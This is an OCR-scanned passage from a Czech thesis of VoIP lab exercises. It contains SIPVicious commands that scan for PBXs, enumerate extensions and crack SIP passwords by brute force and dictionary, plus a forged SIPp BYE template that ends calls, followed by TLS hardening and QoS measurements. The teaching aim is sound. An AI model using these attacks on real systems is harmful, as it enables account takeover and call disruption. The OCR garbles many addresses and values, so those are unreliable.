ustieden slouZi skript svmap.py. VyZaduje jediny vstupni parametr a to je IP rozsah, ktery
chceme skenovat. Na kazdou IP adresu ze zadaného rozsahu bude poslana SIP Zadost
OPTIONS. Tato zprava pozaduje od pobockové tustfedny nebo klienta informace o svych
schopnostech. Nasloucha-li na konkrétni IP adrese pobockova ustiedna nebo klient, tak
automaticky odpovi. Timto jednoduchym zptisobem identifikujeme tstfedny v definovaném
sitovém rozsahu. Pro spusténi skriptu pouzijte nasledujici ptikaz a sledujte

student@ubuntu:~/Desktop/sipvicious$ ./svmap.py 192.168.110.8/24

Obr. 6.6: Spusténi skriptu svmap.py
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Obr. 6.7 zobrazuje zaplavu OPTIONS zprav v siti 192.168.110.0/24. Z IP adresy
192.168.110.184 byla piijata odpovéd’ 200 OK, coz znamen4, Ze na IP adresu nasloucha PBX
ustiedna nebo klient.

Zdrojova IP adresa Cilova IP adresa  Protokol Popis

192.168.1108.181 192.168.110.179 SIP Request: OPTIONS sip:108@192.168.110.179
192.168.1108.179 192.168.110.181 SIP Status: 404 Not Found

192.168.1108.181 192.168.110.184 SIP Request: OPTIONS sip:108@192.168.110.184
0192.168.116.184] 192.168.116.181 SIP |Status: 280 OK]

Obr. 6.7: Zpravy OPTIONS zachycené analyzatorem

Po skonéeni operace bude vysledek podobny obr. 6.8. Pro nas je zajimava ustfedna
Asterisk_Ubuntu, proto si zapiSte jeji IP adresu. V nasSem piipadé je to 192.168.110.184.

| SIP Device | User Agent

| 192.168.110.33:5068 | Asterisk PBX 1.6.0.26

| 192.168.110.32:5060 | Asterisk PBX 1.6.0.21

| 192.168.110.141:5060 | VideoPhone-V8438 22.21.0.60
| 192.168.110.179:5860 | Cisco/WIP316-5.0.12
I I
I I
I I
I I

| 192.168.110.184:5060 | Asterisk UBUNTU |

192.168.110.114:5060 | unknown
192.168.110.140:5060 | VideoPhone-V8438 22.21.08.60
192.168.110.126:5060 | unknown

Obr. 6.8: Vystup skriptu svmap.py s informacemi o astfednach a klientech

Ukol 5 — Nalezeni klapek na ustiedné

IP adresa ustfedny, na kterou chceme podniknout Utok je tedy zndma. Dal$im krokem
je zjisténi uzivatelli registrovanych na této ustiedné. Tentokrat vyuzijeme skript svwar.py.
Jeho Ukolem je posilani zprdv REGISTER na konkrétni IP adresu. Jako vstupni parametry
tedy zadame IP adresu ustfedny. Zadost REGISTER obsahuje extension, tedy &islo klapky,
kterou chceme registrovat. DalSim vstupnim parametrem tedy bude uZivatelské jméno zadané
pomoci piepinace e (extension — klapka) nebo d (dictionary - slovnik). Vétsinou se voli
uzivatelské jméno totozné s klapkou. V tom piipadé€, se pouzije piepinac e, ktery prohledava
uréeny Ciselny rozsah. Opét pro jednoduchost volime rozsah 0-1000. Piepinaé¢ d, urCuje cestu
ke slovniku, ktery se bude prohledavat. Poslednim povinnym vstupnym parametrem je IP
adresa naSeho stroje (zjistéte piikazem ifconfig). Na tuto IP adresu budou posilany odpovédi
ze serveru. Jako nepovinny parametr pridame také piepinac t, ktery slouzi k zpomaleni
odesilani dat a ptfedchazi zahazovani dotazli, resp. odpovédi. Spustte odchytavani
Wiresharkem (mon0) a nasledujicim pfikazem spust'te také skript svwar.py

./svwar.py 192.168.110.184 -e ©-1000 -x 192.168.110.181 -t ©.9

Obr. 6.9: Spusténi skriptu svwar.py pro dany ¢iselny rozsah
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Ze zachytavanych zprav (obr. 6.10) vidime, ze na IP adresu ustfedny se postupnou
inkrementaci posilaji Zadosti REGISTER na uZivatelska jména. Existuje-li uZivatelské jméno
jako je odpoveéd odeslana zprava 401 Unauthorized. Pokud neexistuje, odesila se zprava 404

Not Found.

Zdrojova IP adresa  Cilova IP adresa Protokol Popis

192.168.110.181 192.168.1108.184 SIP Request: REGISTER sip:699@192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: 404 Not found (0 bindings)
192.168.116.181 192.168.118.184 SIP Request: REGISTER sip
192.168.110.184 192.168.118.181 SIP [Status: 401 Unauthorized| (@ bindings)
192.168.110.181 192.168.1108.184 SIP Request: REGISTER sip:701@192.168.110.184
192.168.1160.184 192.168.118.181 SIP Status: 404 Not found (8 bindings)
192.168.110.181 192.168.116.184 SIP Request: REGISTER sip:799@192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: 404 Not found (0 bindings)
192.168.116.181 192.168.116.184 SIP Request: REGISTER Sip:EBB@192.158.113.154]
192.168.110.184 192.168.110.181 SIP [Status: 401 Unauthnrized] (8 bindings)
192.168.110.181 192.168.110.184 SIP Request: REGISTER sip:801@192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: 404 Not found (8 bindings)

Obr. 6.10: Zpravy REGISTER zachycené analyzatorem

Vystup skriptu, zobrazen na obr. 6.11, obsahuje vypis nalezenych klapek.

prepinacem d.

| Extension | Authenticationm |

| 800
| 700

| regauth |
| reqauth |

Obr. 6.11: Vystup skiptu svwar.py s nalezenymi klapkami

Byl prohledan tedy ¢iselny rozsah od 0-1000. Nyni prohledame pfilozeny jednoduchy
slovnik extensions.txt (piesné definovany klapky, nejrozsifenéjsi klapky, nebo specifické
podle situace). Jedinou zménou oproti piedchozimu piikazu je nahrada piepinace e,

./svwar.py 192.168.110.184 -d extensions.txt -x 192.168.110.181

Obr. 6.12: Spusténi skriptu svwar.py pro prohledani slovniku

Vystup programu bude totoZzny s piedchozim vystupem. Vyhodou vSak je vétsi
prohledany rozsah. Za kratSi dobu byly prohledany klapky od 0 do 5000 s krokem 50. Pfi
nalezeni klapky, naptiklad jako v naSem ptipadé 800, je velké pravdépodobnost, Ze klapka ma
i sousedni klapky. Potom opét variantou rozsahu (750-850) je mozné prohledat okoli klapky
800. Zpravy zachycené analyzatorem znazornuje obr. 6.13.
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Zdrojova IP adresa  Cilova IP adresa Protokol Popis

192.168.110.181 192.168.110.184 SIP Request: REGISTER sip:756(@192.168.116.184
192.168.110.184 192.168.118.181 SIP Status: 484 Not found (8 bindings)
192.168.110.181 192.168.110.184 SIP Request: REGISTER sip:{808@192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: (481 Unauthorized (@ bindings)
192.168.110.181 192.168.110.184 SIP Request: REGISTER sip:850@192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: 484 Not found (@ bindings)

Obr. 6.13: Zpravy REGISTER s krokem 50 zachycené analyzatorem

Samoziejmé je mozné vyuzit daleko rozsahlejsi mnozinu cisel nebo statisticky
presnéjsi slovnik. Pro demonstraci vSak predchozi uloha zcela staci. Vysledkem ulohy jsou
tedy dva ucty, 700 a 800, pficemz oba pozaduji autentizaci (reqauth).

Ukol 6 — Prolomeni hesel

Poslednim krokem je zjiSténi hesla vybraného uctu. Existuje nékolik zptisobt jak toho
docilit. My pouzijeme dvé metody, tzv. Gtok hrubou silou a slovnikovy utok. K tomuto tcelu
nam poslouzi skript svcrack.py. Vstupni parametry jsou opét IP adresa serveru, lokalni IP
adresa a Gasovaé. Novym prvkem je parametr username. Ustiedna zamitne zadost REGISTER
zpravou 401 Unauthorized, ktera obsahuje pole WWW-Authenticate. V tomto poli se nachazi i
unikatni fetézec nonce. S vyuzitim pfijatych a znamych parametrd je provedena funkce MD5
a vysledny fetézec (response) je odeslan na server. Server ze svych udajii stejnym zpiisobem
vypocita hash a oba porovnd. Jestli se rovnaji je povolena registrace, jinak je registrace
zamitnuta. Parametry nonce a username zndme. Za parametr heslo se budou dosazovat rizné
hodnoty, podle typu utoku, az kym se stanice Uspé$né nezaregistruje. V prvnim piipadé
budeme hledat heslo pro ucet 700 pomoci utoku hrubou silou. Nasledujicim piikazem
spustime posilani zprav REGISTER pro uZivatele 700 na server. Pro jednoduchost uré¢ime
rozsah prohledavanych hesel na 1000-5000. Tedy o¢ekavame heslo v Cislicovém formatu.

./sverack.py 192.168.118.184 -u 700 -r 1080-5000 -x 192.168.110.181

Obr. 6.14: Spusténi skriptu sverack.py pro klapku 700

Pii hledani hesla opét sledujte analyzator, obr. 6.15. Na Spatné heslo odpovida server
zpravou 403 Forbidden. Na spravné heslo zpravou 200 OK.

Zdrojova IP adresa  Cilova IP adresa  Protokol Popis

192.168.110.184 192.168.110.181 SIP Status: 401 Unauthorized (@ bindings)
192.168.110.181 192.168.110.184 SIP Request: REGISTER sip:192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: 403 Forbidden (Bad auth) (6 bindings)
192.168.110.181 192.168.110.184 SIP Request: REGISTER sip:192.168.110.184
192.168.110.184 192.168.110.181 SIP Status: 481 Unauthorized (6 bindings)
192.168.118.181 192.168.110.184 SIP Request: REGISTER sip:192.168.118.184
192.168.110.184 192.168.110.181 SIP |Status: 208 OK 1 bindings

Obr. 6.15: Zachycena odpovéd’ pii hledani hesla

Vystup programu obsahuje ¢iselnou hodnotu, na kterou server odpovidal zpravou 200 OK,
obr. 6.16.
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| Extension | Password |

| 708 | 4321 |

Obr. 6.16: Nalezené heslo pro klapku 700

Zopakujte hledani hesla pro ucet 800.

./svecrack.py 192.168.110.184 -u 800 -r 1080-5080 -x 192.168.110.181

Obr. 6.17: Spusténi skriptu sverack.py pro klapku 800

Heslo nebylo nalezeno. Pravdépodobné je heslo jin¢ho nez ¢iselného charakteru (nebo
mimo rozsah). Namisto ¢iselného rozsahu tedy bude prohledan slovnik. Slovnik je
jednoduchy, upraveny pro ucel laboratorni ulohy. Obsahuje zkraceny seznam nejcastéji
pouZzivanych hesel.

Jedinou zménou je nahrazeni pfepinace r, piepinacem d.
JSsverack.py 192.168.1108.184 -u 800 -d slovnik.txt -x 192.168.118.181

Obr. 6.18: Spusténi skriptu sverack.py pro klapku 800 s prohledanim slovniku

Tentokréat bylo heslo nalezeno, vystup programu je na obr. 6.19.

| Extension | Password |

| 8ee | sipheslo |

Obr. 6.19: Nalezené heslo pro klapku 800

Sadou jednoduchych utok jsme si ovéfili zranitelnost protokolu SIP, pfi neSifrované
komunikaci a nedostate¢ném zabezpeceni ze strany serveru.

6.2.3 DoS utok

SIP protokol podporuje modifikovani probihajiciho dialogu pfenesenim pifidavnych
signaliza¢nich zprav. Jestli neni sit' dobfe zabezpefena nebo ji utocnik prolomil, muze
zasahovat do relace naptiklad zpravami BYE, CANCEL, FORBIDDEN a podobng. Nasi
ulohou bude podobné jako pii analyze relaci, odchytit informace o relaci a se ziskanych
informaci sestavit BYE zadost, kterou hovor ukon¢ime. Principialni schéma popsaného tutoku
je zndzornéna na obr. 6.20.
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Obr. 6.20: Principialni schéma utoku s podvrzenou BYE zpravou

K odeslani BYE Zadosti pouZijeme aplikaci SIPp [16]. Jedna se o testovaci nastroj a
generator SIP zprav. Dokaze také simulovat rizné scénatfe SIP relaci. Nam bohaté postaci
jeho schopnost odesilat SIP Zadosti definované v xml souboru.

Ukol 7 — P¥eruseni VoIP hovoru tieti stranou

Spustte odchytavani analyzatorem na notebooku, realizujte hovor mezi stanicemi
CISCO a nechte hovor probihat. Ze ziskanych informaci by nemél byt problém zjistit IP
adresy a klapky pravé probihajiciho hovoru. Na plose pocitace je umistén soubor BYE.xml.
Parametry v zavorkach je mozné doplnit pfimo v ptikazu Sipp pomoci pfepinaci. My zvolime
moznost, zménit parametre piimo v xml soubore. Nasim ukolem je pferusit hovor mezi
stanicemi tieti stranou. Format xml souboru znézorniuje obr. 6.21.
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<?xml version="1.0" encoding="us-ascii"?>
<scenario name="Bye">
<send>
<! [CDATA[
BYE sip:[servicel@[remote ip]:[remote port] SIP/2.0
Via: SIP/2.0/[transport] [local ipl:[local port];branch=[branch];
From: sipp <sip:[extension]@[local ip]:[local port]>;tag=[call_number]
To: sut <sip:[servicel@[remote ip]:[remote port]>[peer tag param]
Call-ID:MTcwYjFL0GO4Y2M5ZjhjNjglYTg30DMSMTASNTKyODA.
CSeq: 2 BYE
Contact: sip:sipp@[local ip]l:[local port]
Max-Forwards: 70
Subject: Preruseni hovoru
Content-Length: ©
11>
</send>
<recv response="200" timeout="200">
</recv>
</scenario>

Obr. 6.21: Forméat BYE.xml souboru

Z odchycenych tdaji vime IP adresu serveru (sméruji na ni SIP zadosti). Polozka
service oznacuje klapku stanice pro kterou je zadost uréena. Remote_ip je adresa ustiedny.
Utoénik se musi vydavat za jednu z komunikujicich stran. Proto je nutné zménit fadek From.
Extension definujici ¢islo uzivatele, za kterého se chceme vydavat a local_ip jeho IP adresa.
Wiresharku. Jedna se o identifikator relace. Staci ndm tedy pouze par parametri, abychom
byli schopni hovor pierusit. Modifikujte soubor BYE.xml umistény na pracovni ploSe, podle
aktualnich parametrii (hranaté zavorky pii pfejmenovani také odstrante). V termindlu se
prepnéte na pracovni plochu (cd /home/student/Desktop) a nasledujicim piikazem upravenou
SIP zadost poslete na ustfednu

sipp -sf BYE.xml 192.168.1108.184

Obr. 6.22: Odeslani zpravy BYE.xml programem SIPp

Pomoci ctrl+c ukonéete odesilani BYE zprav. Obr. 6.23 znazorfiuje nami odeslanou
zpravu na adresu ustfedny a kladnou odpovéd’ z Gstiedny.

Zdrojova IP adresa  Cilovéd IP adresa Protokol Popis

192.168.110.181 192.168.110.184 SIP Reguest: BYE sip:880@192.168.110.184:5868
192.168.116.184| 192.168.110.181 SIP [Status: 280 OK|

Obr. 6.23: Podvrhnuté zprava a kladna odpovéd’ z ustiedny

Po sprdvném upraveni souboru BYE.xml by mélo dojit k ukon¢eni hovoru mezi
stanicemi. Jedna se ovdem 0 velmi primitivni Gtok. ZkuSeni to¢nici maji k dispozici
pokrodilejsi nastroje a skripty. Cilem bylo opét dokazat zranitelnost navrhu SIP protokolu na
nezabezpecené siti.
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6.3 Zabezpeceni protokolu SIP

Protokol obsahuje vlastni zabezpeCovaci mechanizmy. Zakladni mechanizmus je
ovéfeni opravnéni prostifednictvim autentifikace, kdy server vyzaduje autentizaci jesté pied
spravovanim zadosti. V ptedchozi tloze jsme ale dokazali, Ze jenom tenhle typ zabezpedeni je
velmi lehce piekonatelny. Obrazek 6.24 znazoriuje, jak muze byt feSena bezpe¢nost na
ruznych vrstvich modelu TCP/IP. Kazdy mechanizmus vSak pokryva jenom jistou oblast,
proto je vhodné zabezpeceni volit v zavislosti na implementaci. [14]

Bezpeénosti mechanizmy
v protokolu SIP

P R

Aplikaéni vrstva Transportni vrstva Sitova vrstva
ZakladnHTTP Digest HTTP
autentizace autentizace TsL IPSec
S/MIME

Obr. 6.24: Moznosti zabezpeceni protokolu SIP

6.3.1 Digest autentizace

Podobné jako u protokolu HTTP je jedna autentifikaéni mechanizmus, vyuzivajici
hash funkci MDS5. Na autentifika¢ni vyménu slouzi pole WWW-Authenticate v hlavi¢ce SIP
zpravy. Pouziti této metody vyZaduje silnd hesla, protoZe existuje nékolik zpisobu jak
zabezpeCeni prolomit, naptiklad slovnikovym utokem. Zabezpe€eni pomoci MDS5 je brano
jako bezpecnostni minimum. [14]

6.3.2 Zabezpeceni pomoci TLS (Transport Layer Security)

Jedna se o zabezpeceni na transportni vrstvé. V asymetrické ,,handshake procedure* se
dohodnou parametry (Sifrovaci algoritmy, klice). Po dohodnuti parametri probiha dalsi
Sifrovani symetricky. Nevyhodou je pouZiti protokolu TCP misto protokolu UDP, coZ ma za
nasledek vyssi vypocetni pozadavky na servery.

Pro Asterisk PBX jiz byl vygenerovan certifikat, sta¢i jenom povolit TLS spojeni a
nastavit koncova zafizeni.

Ukol 8 — Zapnuti TLS $ifrovani na strané serveru

Prikazem sudo gedit /etc/asterisk/sip.conf oteviete konfiguracni soubor pro SIP signalizaci.
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Odkomentujte nasledujici fadky:

tlsenable = yes; zapnuti TLS

tisbindaddr = 0.0.0.0; naslouchani na vSech rozhranich

tlscertfile = /etc/asterisk/certificates/asterisk.pem; self-signed
certifikat

Pti jednotlivych uzivatelich fadek
transport = tls; prenos dat 3ifrovanée
Ukol 9 — Zapnuti TLS §ifrovani na strané klienti

Pro telefony CISCO v konfiguraénim webovém rezimu, zméite v poli SIP SETTINGS
polozku SIP Transport na hodnotu TLS a SIP Port na hodnotu 5061.

Ukol 10 — Zachyceni signalizace analyzatorem

Spustte Wireshark a odchytte prib&h signalizace. Ovéite, zda je signalizace skutecné
Sifrovana.

Bez TLS sifrovani

Zdrojova IP adresa  Cilova IP adresa Protokol Popis

192.168.110.179 192.165.116.284 SIP/SDP Request: INVITE sip:500@192.168.110.284
192.168.110.2604 192.168.116.179 SIP Status: 180 Trying

192.168.110.204 192.168.110.184 SIP/SDP Request: INVITE sip:500@192.168.110.184
192.168.110.184 192.168.110.204 SIP Request: REGISTER sip:192.168.110.204
192.168.110.204 192.168.116.184 SIP Status: 401 Unauthorized (8 bindings)
192.168.110.184 192.168.110.204 SIP Status: 188 Trying

Se Sifrovanim TLS

Zdrojova IP adresa  Cilova IP adresa Protokol Popis

192.168.1108.184 192.168.110.2084 TLSv1 Application Data, Application Data
192.168.110.184 192.168.110.2084 TLSv1 Application Data, Application Data
192.168.110.204 192.168.110.184 TCP :- 56838 [ACK] Seq=929 Ack=1623
192.168.118.204 192.168.110.184 TLSvl Application Data, Application Data
192.168.110.184 192.168.110.2084 TCP 56830 > sip-tls [ACK] Seq=1623 Ack=1083
192.168.110.184 192.168.110.284 TLSvl Application Data, Application Data
192.168.118.184 192.168.1108.284 TLSv1 Application Data, Application Data
192.168.110.184 192.168.110.284 TLSv1 Application Data, Application Data

Obr. 6.25: Nezabezpeceny pienos signalizace a zabezpeceny pienos signalizace pomoci
TLS.

Jak je vidét na obr. 6.25 bez zapnutého TLS Sifrovani, jsou signaliza¢ni data bez
problému ¢itelna. Pti zapnutém TLS Sifrovani je mozné zjistit, Ze se jedna o SIP signalizaci,
ale neni mozné data Cist. Dilezité je si uvédomit, Ze se Sifruje pouze signalizace, ptenos dat
RTP je stale nesifrovan. Asterisk PBX metody na ochranu RTP dat nepodporuje.
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Dalsi moznosti zabezpeceni:

e Secure/Multipurpose Internet Mail Extensions (S/MIME) — asymetrické Sifrovani,

e Secure Real-Time Transport Protocol (SRTP) — technika pro zabezpeceni datového
toku,

e Internet Protocol Security (IPsec) — zabezpeceni na sitové vrstveé, vyznacuje se velkou
rezii. [14] [18]

Ukol 11 — Vymazani konfigurace

Vypnéte bezdratovou sit’ na telefonu HTC a uved’te pracovisté do ptivodniho stavu.
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ZAVER

Cilem préace bylo praktické ovéfeni vysokorychlostniho pfenosu dat a integrace
telekomunikacnich sluzeb v realnych sitich prostfednictvim modernich mobilnich zafizeni.
Vystupem jsou dvé laboratorni tlohy uréené do predmétu Komunikaéni prostfedky mobilnich
siti. Obsah nov¢ vytvorenych tuloh je v rdmci pfedmétu jedineény. Jsou Vv nich vyuzity nové
zakoupené pristroje Nokia N900 a HTC Desire. V Glohach jsou také zakomponovany pfistroje
s velikym eduka¢nim potencialem, které zatim ve vyuce vyuZity nejsou. Piedevsim analyzator
Trend Multiplo GbE s radou méfeni v oblasti VoIP a IPTV.

Jadro prvni tlohy tvoii konfigurace pobockové usttedny na telefonu Nokia N9OO.
Nakonfigurovanim upravené linuxové distribuce Debian je mozné provozovat Asterisk
ustfednu ptimo na mobilnim telefonu. Cilem je dokazat nenaro¢nost implementace VolP
brany na zafizeni s omezenym vykonem. Vystupem prvni ¢asti tilohy je schopnost vytvoreni a
spravy jednoduché VoIP sité. Druhd ¢ast ulohy rozebira detailnéji signaliza¢ni protokol SIP.
Analyzuje charakter SIP komunikace a autentizace uzivateli. Dalsi cast tlohy popisuje
konfiguraci a realizaci videohovorti pomoci ustfedny Asterisk PBX. Posledni ¢ast je vénovana
porovnani praktickych a teoretickych rychlosti a odezev v mobilnich a bezdratovych sitich.
Testovany jsou sit¢ GPRS, EDGE, UMTS/HSDPA a bezdratové radiové rozhrani. Sit GPRS
je simulovana prostfednictvim sit¢ umistnéné v laboratornich prostorech. Nasledné jsou
ve zminénych sitich popsany a testovany QoS parametry (zpozdéni, zména zpozdéni,
ztratovost) a vyvozen zavér ohledné moznosti vyuziti sité pro nasazeni VoIP technologie.
K méfeni téchto parametr je vyuzit analyzator Trend Multiplo. Vysledky jsou porovnany
s doporuc¢enymi hodnotami organizaci ITU-T a subjektivnim hodnocenim studenti. Cilem
prvni tlohy je tedy konfigurace a méfeni QoS parametrii VoIP technologie.

Druha uloha uvadi do problematiky bezpe¢nosti VoIP technologie. V Uloze je vyuZita
schopnost piistroje HTC Desire pracovat v roli bezdratového smérovacée s podporou DHCP
protokolu. Po analyzovani bezdratového rozhrani je vytvofena sit' na vhodném kanalu,
slouZici k propojeni pfistroji. Cilem ulohy je popsat a simulovat itoky na pobockovou
ustfednu a koncové zafizeni. Prvni ¢ast naznacuje zranitelnost protokolu SIP. Upozoriuje na
fakt, ze pri nesifrované komunikaci mize Gto¢nik bez vétsich problému odchytit a analyzovat
pfenasend data. S vyuzitim skripti patficich do sady nastroji pro audit VoIP systému
zaloZenych na protokolu SIP jsou simulovany Gtoky, od nalezeni poboc¢kovych tustfeden V siti,
az po prelomeni hesel na vybrané tustiedné. Dalsi ¢ast ulohy popisuje tzv. DoS tutok, pii
kterém je pomoci faleSné BYE zpravy pierusen probihajici hovor mezi koncovymi uZivateli.
Zavér tulohy rozebira problematiku zabezpeCeni SIP signalizace v pobo¢kové ustiedné
Asterisk pomoci TLS Sifrovani. Cilem druhé ulohy je poukazani na slabiny protokolu SIP,
Spatné  nakonfigurované pobockové ustfedny a  problematickou implementaci
zabezpeCovacich mechanizml do technologie VolIP.

Ptiloha obsahuje feSeni K zminénym uloham, konfiguraéni soubory, namétené
hodnoty, vystupni grafy a odpovédi na kontrolni otdzky. Na DVD disku je piiloZzen
pripraveny opera¢ni systém Ubuntu s neperzistentnim zapisem. Provedena konfigurace se tim
padem po restartu vymaze.
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Priloha A

A.1 Reseni ulohy: Konfigurace a méfeni parametri VolP
v mobilnich datovych sitich

Vysledni konfigura¢ni soubor sip.conf na telefonu Nokia N90O.

[general]
context=mkpm;
bindport=5060;
disallow=all;
language=cz;
nat=yes;

vychozi kontext

port

zakazani vsech kodekl
jJazyk

povolent NAT

useragent=Noki1aN900_PBX

;allow=alaw;
;allow=ulaw;
;allow=gsm;

;allow=h263;
;allow=h264;

[100]

type=friend;
secret=1234;
username=100;
host=dynamic;
context=mkpm;
callerid=Ucet_100;
auth=md5;
qualify=yes;
allow=alaw;

[200]
type=Ffriend;
secret=1234;
username=200;
host=dynamic;
context=mkpm;
callerid=Ucet_200;
auth=md5;
qualify=30;
videosupport=yes;
allow=alaw,ulaw;

[300]
type=friend;
secret=1234;

povoleni kodeku alaw

povoleni kodeku ulaw

povoleni kodeku gsm

povoleni kodeku h263 pro video
povoleni kodeku h264 pro video

typ Uctu

heslo klapky

uzivatelské jméno

povolena registrace

kontext klapky

identifikace volajiciho

autentizace pomoci md5

testovani dostupnosti (vychozi hodnota 60s)
povoleni kodeku alaw

typ Gctu

heslo klapky

uzivatelské jméno

povolena registrace

kontext klapky

identifikace volajiciho
autentizace pomoci md5

testovani dostupnosti kazdych 30s
podpora videa

povoleni kodeku alaw

typ uctu
heslo klapky
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username=300; uzivatelské jméno

host=dynamic; povolena registrace
context=mkpm_dva; kontext klapky
callerid=Ucet_300; identifikace volajiciho
auth=md5; autentizace pomoci md5
videosupport=yes; podpora videa
allow=alaw,gsm; povoleni kodeku alaw

Vysledni konfiguraéni soubor extensions.conf na telefonu Nokia N90O.
[mkpm]

exten => 100,1,Dial(SIP/100)
exten => 200,1,Dial (SIP/200)

[mkpm2]
exten => 200,1,Dial (SIP/200)

Odpovédi na otazky z Casti: Konfigurace ustredny Asterisku.
Na co slouzi kontext v ¢islicovém planu?

Kazdd klapka patii do néjakého kontextu. V piipadé realizovani hovoru z klapky je
prohledavan jeji kontext a na zakladé vysledku provedena dalsi akce.

Na co slouzi parametr Qualify?

Pri_nastaveném parametru Qualify provadi ustiredna pravidelnou kontrolu dostupnosti
stanice.

Co je to IVR (Interactive Voice Response)?

Zautomatizované hlasové interaktivni menu, pomoci kterého je mozné napriklad realizovat
funkci spojovatelky.

Ktery kodek je ve statech Evropské Unie preferovan? Alaw nebo plaw?

V statech EU je preferovan alaw, plaw je vyuzit v Americe a Japonsku.

Odpovédi na otdzky z ¢asti: Analyza protokolu SIP.

Napiste SIP adresu uctu sipuser, ktery je registrovany na TuUstiedné, jejiz adresa je
82.143.28.123.

sip:sipuser@82.143.28.123.

Kterym aplika¢nim protokoltim se protokol SIP svou strukturou podoba?

Na prokotoly HTTP a SMTP.
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Jaky unikétni parametr, poskytnuty serverem slouzi klientovi pro vytvofeni hashe hesla a
Vv které zpravé se posila?

Je to rFetézec nonce a posila se v zpravé 401 Unauthorized, jako reakce na pokus o registraci.

Jaky ¢iselny kod oznacuje zpravy informacniho charakteru?

Ciselny kéd Ixx.

Jaky typ Zadosti posilé server klientlim, kdyZ testuje jejich dostupnost?

Typ Zadosti je OPTIONS.

Jaky je ¢iselny kod pro zamitnuti hovoru z diivodu obsazeni linky?

Ciselny kéd pro zamitnuti hovoru je 480 v odpovédi Terminated.

Jaky je ¢iselny kod pro ozndmeni zaneprazdnéni (busy) stanice?

Ciselny kéd pro ozndmeni zaneprdzdnénosti stanice je 486 v odpovédi Busy Here.

Kde jsou ptenaSeny zpravy SDP?

Zpravy SDP jsou prenaseny v téle SIP zprav.

V jednoduchosti nacrtnéte vymeénu zprav pii ukoncovani spojeni.

PBX Server

IP SIT VolP sit IP SIT

UDEDE

popE
o DOB

Volajici strana Volana strana

200 OK

A

200 OK

A

Obr. A.1.1: Vymeéna zprav SIP pri ukoncovani spojeni.
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Vysledky méfeni v ¢asti tlohy: Kvalita sluzeb ve VolP.

Teoreticka rvchlost Teoreticka Naméiena rychlost Naméiena
Typ sité ary hodnota odezvy | [kbit/s] (primér 5 | hodnota odezvy
[Kbit/s] wyo

[ms] méieni) [ms]

GPRS 83,5 600 - 700 68,8 419
EDGE 473,6 150 240 198
UMTS/HSDPA 2048 /7372,8 60 - 120 1920 73
Wi-Fi nad 10240 50 2800 48

Tab. A.1.1: Teoretické a namérené hodnoty rychlosti a odezev v mobilnich a
bezdratovych datovych sitich

Vysledna tabulka doporucenych a naméfenych hodnot zpozdéni.

Naméiené zpozdéni [ms]
Hodnoceni Doporuéené UMTS /
zpoZdéni [ms] i-
GPRS | EDGE HSDPA Wi-FlI
akcveE)_tovatelne pro 0- 150
vétsinu aplikaci
akceptovatelné pro
mezinarodni 150 - 400 209, 3 50,0 44,2 38,2
spojeni
vSeobecné , > 400
neakceptovatelne

Tab. A.1.2: Doporucené a naméiené hodnoty zpozdéni

Vysledna tabulka doporu¢enych a naméfenych hodnot zmény zpozdéni a vystup

mefeni analyzatorem Wireshark pro vSechny méfené sité.

Naméieny jitter [ms]
Hodnocent ])J?tlzgrnfrﬁﬂe;y GPRs | EDGE | YMTS/1 \yiky
HSDPA
dobré <20
akceptovatelné 20 - 50 195,0 32,0 22,0 18,8
neakceptovatelné > 50

Tab. A.1.3: Doporucené a naméfené hodnoty zmény zpoZdéni
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Obr. A.1.2: Naméi‘ené hodnoty zmény zpozdéni analyzatorem v siti GPRS

Zména zpoidéni — 50ms

[ms]
_25m5
K X X X
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Trvani hovoru [s]

Obr. A.1.3: Naméi'ené hodnoty zmény zpozdéni analyzatorem v siti EDGE
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Obr. A.1.4: Naméi'ené hodnoty zmény zpozdéni analyzatorem v siti UMTS
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Obr. A.1.5: Naméi'ené hodnoty zmény zpozdéni analyzatorem v siti Wi-Fi



Vysledna tabulka doporu¢enych a namétenych hodnot ztratovosti vSech métenych siti.

Namérena ztratovost [%]
Hodnoceni D(,)porUEel;é UMTS/ .
ztratovost [%] | GPRS | EDGE Hsppa | Wi
dobra <05
akceptovatelna 05-15 85,6 21,4 6,2 0,0
neakceptovatelna >15

Tab. A.1.4: Doporucené a naméiené hodnoty ztratovosti

Subjektivné uréena a zméfena velicina MOS analyzatorem TREND.

Veli¢ina MOS v sméru downlink
Typ sité
Subjektivni Namérena
hodnota hodnota
GRPS 1,0
EDGE 1,2
UMTS 2,0
Wi-FI 2,8

Tab. A.1.5: Subjektivné uréeny a naméieny hodnoty veli¢iny MOS
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A.2 Reseni ulohy: Bezpeénost VolP technologie

Vysledny konfigura¢ni soubor sip.conf na po¢itaci s opera¢nim systémem Ubuntu.

[general]

transport=udp, tcp; povoleni TCP i UDP prenosu
context=kontextl; vychozi kontext
bindport=5060; port

disallow=all; zakadzani vsech kodekt
language=cz; jJazyk

nat=yes; povoleni NAT
useragent= Asterisk_UBUNTU

allow=alaw; povoleni kodeku alaw
allow=ulaw; povoleni kodeku ulaw
allow=gsm; povoleni kodeku gsm

;tlsenable=yes;
;tlsbindaddr=0.0.0.0
;tiscertfile=/etc/asterisk/certificates/asterisk.pem

[500]

type=Ffriend; typ uctu
secret=1234; heslo klapky
username=500; uzivatelské jméno
host=dynamic; povolena registrace
context=kontextl; kontext klapky

;transport=tls; zapnuti TLS Sifrovani

[600]

type=friend; typ Gctu
secret=1234; heslo klapky
username=600; uzivatelské jméno
host=dynamic; povolena registrace
context=kontextl; kontext klapky

;transport=tls; zapnuti TLS Sifrovani

[700]

type=friend; typ uctu
secret=4321; heslo klapky
username=700; uzivatelské jméno
host=dynamic; povolena registrace
context=kontextl; kontext klapky
auth=md5; autentizace pomoci md5
[700]

type=Ffriend; typ uctu
secret=sipheslo; heslo klapky

username=Jozef; uzivatelské jméno
host=dynamic; povolena registrace



context=kontextl; kontext klapky
auth=md5; autentizace pomoci md5

Vysledni konfigura¢ni soubor extensions.conf na pocita¢i s operaénim systémem Ubuntu.

[kontextl]

exten => 500,1,Dial (SIP/500)
exten => 600,1,Dial(SIP/600)
exten => 700,1,Dial(SIP/700)
exten => 800,1,Dial(SI1P/800)

Spravni format BYE.xml zpravy pro ukonceni hovoru mezi klapkami 500 a 600 s vyuZzitim
ustfedny s IP adresou 192.168.110.184.

<?7xml version="1.0" encoding="us-ascii"?=
